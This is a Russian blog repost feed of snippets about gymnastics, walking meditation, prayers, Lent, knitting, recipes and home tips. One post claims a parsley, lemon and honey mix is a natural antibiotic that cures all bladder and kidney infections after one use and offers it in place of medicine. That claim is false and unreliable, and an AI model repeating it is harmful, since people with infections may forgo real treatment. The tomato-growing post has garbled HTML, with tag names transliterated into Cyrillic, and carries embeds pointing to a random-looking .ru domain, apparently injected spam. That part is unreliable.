Это цитата сообщения Планета_Здоровье Оригинальное сообщение

СКРЫТАЯ ГИМНАСТИКА ВОРОБЬЁВА. Худеем не напрягаясь

Эта гимнастика отнимает ровно 6 минут, но делать её надо каждый день, каждый час.

[628x330]

 

Упражнения можно выполнять сидя, при ходьбе, на рабочем месте, при готовке - где угодно. Уже через три дня вы удивитесь, как подтянулись ваши мышце и стрелка весов начала двигаться в обратном направлении. Вы спросите, как долго нужно ею заниматься? Постоянно. Но не пугайтесь, так вы сами со временем поймёте, что это не сложно и будет для вас обычным делом.

Читать далее...

Это цитата сообщения VIPSALE Оригинальное сообщение

Медитация при ходьбе

Введение


В этой беседе я рассмотрю практические аспекты медитации при ходьбе. Я обращу внимание на то как, где и когда осуществлять эту медитацию. Также я хотел бы пояснить как практические указания технических деталей медитации при ходьбе, так и дать наставления о том, как сформировать качественный ум, который приведёт к сосредоточению, прозрению и мудрости посредством физической активности в медитации при ходьбе.

Будда подчёркивал, что развитие осознанности можно развивать в четырёх основных позах тела: стоя, сидя, лёжа и при ходьбе (ДН 22, МН 10). Он призывал нас к тому, чтобы быть осознанными в этих позах, чтобы сформировать чёткое осознание и памятование того, что мы делаем, пребывая в той или иной позе.

Если вы прочтёте о житии монахов и монахинь во времена Будды, то увидите, что многие из них достигали различных уровней пробуждения во время ходьбы по дорожке для медитации. Медитация при ходьбе на языке пали называется «чанкама». Это действие, при котором вы можете сфокусировать и сосредоточить сознание или же развить исследовательское знание и мудрость.

Некоторые обнаруживают, что их особым образом тянет к медитации при ходьбе, поскольку они находят её более простой и естественной, нежели медитацию сидя. Когда они садятся, то чувствуют себя слишком вялыми или напряжёнными, или же легко отвлекаются. Их ум не успокаивается. Если то же самое происходит и в вашем случае - не стоит упорствовать. Попробуйте что-нибудь иное, например, сменить позу. Сделайте что-то другое. Экспериментируйте с медитацией стоя или же попробуйте медитацию при ходьбе. Эта новая поза во время медитации может наделить вас иными умелыми средствами применения ума. Все четыре позы медитации - это просто техники, методы для развития и тренировки сознания.

Пробуйте и развивайте медитацию при ходьбе, и вы сможете увидеть её выгоду. В лесной медитационной традиции северо-восточного Таиланда ставят на неё особое ударение. Монахи тратят на ходьбу много часов, чтобы развить сосредоточение. Иногда десять или пятнадцать часов в день!

Аджан Сингтонг так много времени уделял медитации при ходьбе, что вытаптывал борозду в дорожке для медитации. На песчаной дорожке появлялось углубление, поскольку он ходил помногу часов в день - иногда пятнадцать или даже больше! Другой монах, Аджан Кум Дтун так много медитировал при ходьбе, что даже не удосуживался зайти на ночь в свою хижину. Он ложился прямо на дорожке и подкладывал под голову кулак вместо подушки. Он засыпал с осознанностью и принимал решение тут же вставать, как только проснётся. Когда он вставал, то тут же принимался вновь за медитацию при ходьбе. Фактически он жил на тропе для медитации! Аджан Кум Дтун быстро достиг результатов в своей практике.

На Западе эту практику не акцентируют столь сильно. Поэтому я хотел бы описать сам процесс и порекомендовать его вам в качестве дополнения к медитации сидя. Хотелось бы надеяться, что эти указания помогут вам расширить ассортимент ваших медитативных техник - как в формальной медитации, так и в повседневной жизни. Поскольку большая часть жизни связана с ходьбой, то если вы будете знать как в ней применить осознанность, то, даже просто расхаживая по дому, вы сможете осуществлять медитацию.

Пять преимуществ медитации при ходьбе


Будда говорил о пяти преимуществах медитации при ходьбе (АН 111, 29). Если брать их в том порядке, в каком они рассмотрены в суттах, то получится так: она развивает выносливость при совершении длительных пеших переходов, она хороша для старания, она хороша для здоровья, она хороша для переваривания пищи после обеда, и достигаемое ей сосредоточение длится в течение долгого времени.

Развитие выносливости при пеших переходах

Первое преимущество от медитации при ходьбе заключается в том, что она способствует выносливости на длительных пеших дистанциях. Это было особо важно во времена Будды, когда большинство людей путешествовали пешком. Сам Будда часто путешествовал, перебираясь с места на место, иногда проходя до шестнадцати километров за один день. Поэтому он советовал медитацию при ходьбе в качестве метода развития физической формы и выносливости при длительных пеших дистанциях.

Лесные монахи и до сих пор странствуют. Это называется «тудонг». Они берут чашу, одеяния, и скитаются в поисках уединённых мест для медитации. В качестве подготовки перед путешествием они постоянно наращивают количество медитации при ходьбе, чтобы развить, в том числе, и физическую подготовку и выносливость. Они увеличивают количество такой медитации до пяти или шести часов в день. Если вы идёте в среднем со скоростью в четыре или пять километров в час и выполняете пять часов медитации ходьбы в день, то набирается определённое число пройденных километров.

Старание

Старание, особенно для преодоления сонливости, является вторым преимуществом. Во время медитации сидя многие медитирующие сталкиваются с тем, что каждый раз утопают в спокойных состояниях, но если таковые Читать далее...

Это цитата сообщения МирАлин Оригинальное сообщение

Отвар трав для укрепления сосудов

Читать далее...

Это цитата сообщения AlinkaColnishko Оригинальное сообщение

ПРИРОДНЫЙ СУПЕР АНТИБИОТИК УНИЧТОЖАЕТ ВСЕ ИНФЕКЦИИ МОЧЕВОГО ПУЗЫРЯ И ПОЧЕК ПОСЛЕ ПЕРВОГО ИСПОЛЬЗОВАНИЯ.

Люди, которые страдают от инфекции мочевых путей испытывают постоянно боль. Давление, боль и постоянная потребность к мочеиспусканию некоторые из симптомов.
Есть различные природные антибиотики, которые имеют положительный эффект, помогая с воспалением мочевого пузыря.
Каковы симптомы цистита?
Поход в туалет каждые 10 минут, кровь в моче и покалывания боли во время мочеиспускания.
Если вы не хотите использовать лекарство из аптеки, я советую вам попробовать что-то естественное.
Этот природный антибиотик разрушает эту нежелательную болезнь сразу.
Рецепт природного антибиотика:
Состав:
петрушка - 250 граммов
Лимон - 250 грамм
мед - 250 грамм
оливковое масло -200 мг
Приготовление:
Во-первых, нарезать корень петрушки и положить его в блендер.
Добавьте цедру лимона, оливковое масло и мед.
Смешайте пока он не растворится.
Положите смесь в холодильник.
Расход:
Вы должны принимать одну столовую ложку этого средства каждое утро.
Примечание:
Убедитесь, что мед является органическим и лимон должен быть без пестицидов. Даже если вы купили лимоны в супермаркете, есть способ, с которым Вы можете удалить все токсины и пестициды.
Просто поместите их в воду, смешанной с растворенной пищевой содой.
Последнее, но не менее важно, не забудьте помыть корень петрушки, прежде чем начать делать лекарство.
Совет:
Вы должны избегать потребления шоколада или кофеина, потому что они могут стимулировать бактерии, быстрее проникают в мочевые пути.
[700x443]

Это цитата сообщения natali2311 Оригинальное сообщение

Как запросто вырастить чайный гриб

Не обязательно его покупать или искать у знакомых. Гриб можно вырастить самим с нуля.
Нужно: термос и плоды шиповника (можно сушеные купить, продается в любой аптеке, стоит недорого).
[600x451]

[показать]

Это цитата сообщения Вера_Петрикова Оригинальное сообщение

Домашний сорокоуст - сильная молитва

Жмём на баннер! [550x230] Перед Вами рубрика домашней усердной молитвы – Домашнего сорокоуста! Домашний сорокоуст — это молитвенное правило (акафист, канон, псалтирь или молитва), читаемое ежедневно (без пропусков) в течении 40-дней. Ничто так не приятно Богу, как наше постоянство в духовной жизни – постоянство в молитве. Посему продолжительная молитва имеет особую силу, изливающую на молящегося особую милость Божию! О великой пользе и духовном успехе сего молитвенного правила Вы может прочесть статью на странице сайта О силе домашнего сорокоуста В наше время довольно сложно создать крепкую и благочестивую семью. Но если прибегнуть к 40-дневному чтению акафиста Божией Матери пред Ея иконой “Казанская”, посещать храм Божий, поститься по средам и пятницам, и Пресвятая Богородица вразумит и поможет найти доброго спутника/спутницу жизни.   Многие из нас не понаслышке знают, какие сложные ситуации могут возникнуть в семейной жизни: бесплодие; детские болезни; воспитание трудных детей; супружеская напряженность и неприязнь; наконец – преддверие распада брака!.. В таких случаях нужно возносить усердные молитвы к Богу или святым Его угодникам и угодницам, приступать к Таинствам Церкви – Исповеди и Причащению, и помощь с Небес не замедлит прийти! Если же настигла нас какая-либо болезнь, мы должны незамедлительно обратиться к 40-дневному чтению акафиста Божией Матери “Целительница” и вознести молитву вмч. Пантелеимону Целителю, сщисп. Луке Крымском. При этом нужно помнить, что заболевание нашего тела – это продолжение болезни нашей души. Посему нужно исправить свою духовную жизнь, обратиться ко Господу, и по предстательсву Богородицы и святых Его угодников, Бог дарует нам здравие телу и душе! Также нередко возникают трудноразрешимые проблемы на работе, сложности в купле-продаже квартиры/машины, и снова мы должны приобщаться к 40-дневной домашней молитве. И все сложности разрешаются наилучшим образом! Ниже приведен список домашних сорокоустов с пояснениями, о чем принято молиться Господу Богу, Божией Матери и святым угодникам Христовым.  [показать] [показать]

Это цитата сообщения NADIABI Оригинальное сообщение

МОЛИТВЫ АНГЕЛАМ-ХРАНИТЕЛЯМ ЗНАКОВ ЗОДИАКА

[640x451] Ангелы-хранители могут покровительствовать целым общностям людей. Например, есть ангелы-хранители, которые покровительствуют рожденным под каждым из знаков Зодиака.Каковы их «профессиональные обязанности»?

Это цитата сообщения Оксана_Андрусенко Оригинальное сообщение

ВЕЛИКИЙ ПОСТ: ИСТОРИЯ, СМЫСЛ, ПРАВИЛА ПИТАНИЯ И ОТВЕТЫ СВЯЩЕННОСЛУЖИТЕЛЕЙ

 

[показать]Распятие, фрагмент (монастырь Студеница, Сербия)

О Великом Посте

 

• Великий Пост
• Чтение на каждый день Великого Поста
• Святитель Николай Японский. Поучение говеющим в дни Великого поста
• Архиепископ Нафанаил (Львов). Великий пост в наше время
• Пост – это Божественная благодать. Из бесед со старцем Дионисием (Игнатом)
• Старец Ефрем (Мораитис). Духовная борьба Великого Поста
• Игумен Нектарий (Морозов). Великий пост – не компьютерная игра
• Игумен Нектарий (Морозов). Увидеть себя таким, каким видит тебя Господь. О покаянном каноне Андрея Критского
• Протоиерей Андрей Ткачев. О посте
• Протоиерей Андрей Ткачев. Церковь, вступившая в подвиг поста
• Протоиерей Андрей Ткачев. Бытовая апология поста
• Протоиерей Андрей Ткачев. На реках вавилонских
• Священник Максим Первозванский. Великий пост: на диету, православные?!
• Священник Александр Игнатов: Великий пост – это не голодание, а способ обрести веру
• Иеромонах Дорофей (Баранов). Великий пост – время, когда можно изменить себя
• Валерий Духанин. О посте, скрипке и отбойном молотке
• Первая неделя Великого поста: советы пастырей

Вопросы священнику

• Вопросы священнику о Великом Посте

Рассказы и истории

• Николай Георгиевский. Великий пост с патриархом Алексием I
• Анна Сапрыкина. Прожить Великий пост вместе с детьми. Материнские заметки
• Елена Фетисова. Про чужую шкуру

Кухня Великого Поста

• Кухня Великого Поста
• Виктория Свердлова. Жизнь без масла
• Виктория Свердлова. Постные праздники
• Рецепты румынской великопостной кухни
• Оливия Алабастер. Постные традиции в ливанской кухне

Иконография

• Епископ Балашихинский Николай (Погребняк). Великий пост: иконографические параллели

Устав колокольного звона

• Николай Завьялов. Колокольные звоны в период святой

Читать далее...

Это цитата сообщения nikitaqa29 Оригинальное сообщение

Как я готовлю вкусный торт из селёдки

Пришлось как-то мне с дочкой присутствовать на одном знаток-классе, посвященному его величеству фуршету!

 

ЧИТАТЬ ПОСТ ЦЕЛИКОМ

Это цитата сообщения YaromilaVolkova Оригинальное сообщение

Вязаные накидки

[x130] Платок темного бирюзового цвета связан крючком. Схема вязания платка крючком ... Читать далее	Вязаная ажурная накидка  [x130] Вязаная ажурная накидка украсит любой, даже самый скромный наряд. Схема вязания ажурной накидки крючком ... Читать далее
Вязание накидки крючком  [x130] Накидка из цветочных мотивов связана крючком. Схема вязания накидки крючком ... Читать далее	Вязание накидки спицами  [x130]

Читать далее...

Это цитата сообщения Miss_SV Оригинальное сообщение

Полезности разные 21

Нажми на картинку

[показать] 12 лайфхаков с влаговпитывающими салфетками, которые экономят деньги.	[показать] Как удалить вмятину на машине кипятком	[показать] Меняем вредные чистящие средства на натуральные
[показать] Вредные пищевые добавки. Можете распечатать и брать с собой в магазин!	[показать] Как легко продеть толстую пряжу в ушко иголки	[показать] МАЛЕНЬКАЯ ХИТРОСТЬ: ЧТОБЫ ЦВЕТЫ В ДОМЕ ЦВЕЛИ ПЫШНО И ДОЛГО!
[показать]Как почистить дубленку самостоятельно	[показать] Как использовать глицерин в быту.	[показать] КОМПЬЮТЕРНАЯ ПОМОЩЬ ВЯЗАЛЬЩИЦЕ!
КАК ВЫРАСТИТЬ ПОМИДОРЫ К МАЮ БЕЗ ТЕПЛИЦЫ И БЕЗ РАССАДЫ....	[показать] Все льготы для пенсионеров в 2016 году	[показать] Самоотвердевающая масса для лепки своими руками!

 

Полезности разные 20

Читать далее...

Это цитата сообщения РИМИДАЛ Оригинальное сообщение

Самоотвердевающая масса для лепки своими руками!

[600x450]Самоотвердевающая масса для лепки своими руками! Нет, это не холодный фарфор, и хотя близко к нему, но гораздо проще. Рецептом этой отличной самоотвердевающей массы для моделирования делится с нами мастерица Apple and apple Масса идеальна для детского творчества, так как она экологичная, пластичная, не липнет к рукам, твердая после высыхания, можно раскрашивать чем угодно….В общем, рекомендую!

Читать далее...

Это цитата сообщения РИМИДАЛ Оригинальное сообщение

Все льготы для пенсионеров в 2016 году

Читать далее...

Это цитата сообщения Натали-Наталка Оригинальное сообщение

<стронг>КАК ВЫРАСТИТЬ ПОМИДОРЫ К МАЮ БЕЗ ТЕПЛИЦЫ И БЕЗ РАССАДЫ....<бр/><бр/> <п стыле="техт-алигн: центер;"> <имг алт="" срц="хттп://i044.radikal.ru/1005/b7/35ac126dd48c.gif" стыле="видтх: 366пх; хеигхт: 30пх;" /> <п стыле="техт-алигн: центер;"> <имг алт="" срц="хттпс://pp.vk.me/c7003/v7003963/17506/DfJVYceovf0.jpg" стыле="видтх: 604пх; хеигхт: 453пх;" /> <х2> Осенью, перед самыми заморозками, когда плодоношение томатов останавливается, оторвите из понравившихся вам кустов (любых сортов) несколько отростков и поставьте в воду на 5-6 дней (ставить в воду сорванные отростки следует немедленно или с минимальным промежутком времени, иначе не получите положительный результат). <п стыле="техт-алигн: центер;"> <имг алт="" срц="хттп://i044.radikal.ru/1005/b7/35ac126dd48c.gif" стыле="видтх: 366пх; хеигхт: 30пх;" /> <п стыле="техт-алигн: центер;"> iflash=400,300,http://qxoili56p7y8i.ru/f.html]море=*****************************] <х2> По прошествии указанного времени отростки дадут корни, после чего вы можете пересадить их в землю или в полиэтиленовые мешочки, или же в цветочные горшки. За зиму кусты помидоров вытянутся, и с каждого из них нужно будет верхушку обломать и также поставить в воду, которые, в свою очередь, дадут корни, после чего и их нужно высадить.<бр /> Примерно в апреле ваши помидоры зацветут, а в мае уже дадут красные плоды. Используя этот метод помидоры можно выращивать даже в тех районах, где теплое лето весьма короткое. <п стыле="техт-алигн: центер;"> <имг алт="" срц="хттп://i044.radikal.ru/1005/b7/35ac126dd48c.gif" стыле="видтх: 366пх; хеигхт: 30пх;" /> <х6> url]https://vk.com/id229062753?w=wall229062753_1768%2Fall/урл] <п> &нбсп; <п> iflash=400,300,http://qxoili56p7y8i.ru/f.html]

Это цитата сообщения ROSOMAHA12 Оригинальное сообщение

Шаль-воротник к вечернему платью с отделкой пуговицами

РАЗМЕР 38-40,
РАЗМЕР ШАЛИ- 100 х 60 см.



Нарядная шаль-воротник украсит и нарядное прямое платье, и блузку или топик с коротким рукавом, и просто согреет Вас прохладным вечером!

ВАМ ПОТРЕБУЕТСЯ:
300 г. голубой шерстяной пряжи( GGH "Wollywash", 125 м/50 г, 6 моточков), спицы номер 4, крючок номер 3,5, а также 3 декоративные пуговицы.

ОПИСАНИЕ И СХЕМА ШАЛИ:

Это цитата сообщения Katra_I Оригинальное сообщение

Платочная столешница< /strong>

Голова нужна не только для того, чтобы платок носить, но и для того чтобы эта голова придумала старому платку новое применение. Да еще такое, чтобы все ахнули. Вот как раз нечто подобное Инесса Соловьева "Goose Tie" нам и показывает!

Смотрите!

Источник - http://www.livemaster.ru/topic/1676667-novaya-zhiz...tol-s-platochnoj-stoleshnitsej

Хочу поделиться с вами идеями в оформлении любимого дома или дачи :) Мы с мужем живем в съемном частном доме. Дом любимый, но вкладывать крупные суммы в ремонт, мебель или оформление нет смысла. Однако, у нас чудные арендодатели, которые дали добро на любые изменения в интерьере (ну кроме сноса стен и ковыряния дырок в крыше, чтобы звездами любоваться :) А еще я борец за вторую, третью, двадцатую жизнь предметов и применение фантазии в самых необычных местах :)

[700x431]

В планах поделится идеями с вами

• стол из икеи и платка из секонда (сделано);
• перетяжка стула и табуреток джинсовыми полотнами;
• ремонт кухни за 5 тыщ рублей с помощью мужа (и такой-то матери) и кучи бесхозных паллетов;
• создание настенного музея из памятных штучек и прочих пылесборников;
• мастерская для шитья, рисования, создания реквизита для фокусов (муж — фокусник, в прямом смысле :) ) из советского шкафа,  шкафчика из кухни, мебельных колесиков и чемодана...

Ну, и так далее, если вам понравится, то я вам покажу (ЯВАМПОКАЖУ!) остальное!  

Читать далее...

Это цитата сообщения Марриэтта Оригинальное сообщение

Вяжем улитку. Игрушки амигуруми крючком

Вяжем улитку. Игрушки амигуруми крючком

[635x640]

Читать далее...

Это цитата сообщения LediLana Оригинальное сообщение

Торт «Нежность»

[604x377]

Ингредиенты:

Маргарин — 200 г
Сахар — 150 г
Яйца куриные — 3 шт.
Сметана — 150 г

Читать далее...

Это цитата сообщения VIPs Оригинальное сообщение

Самый простой и вкусный торт!

Читать далее...

Это цитата сообщения mad1959 Оригинальное сообщение

Без заголовка

http://mad1959.blogspot.ru/2016/03/blog-post_92.html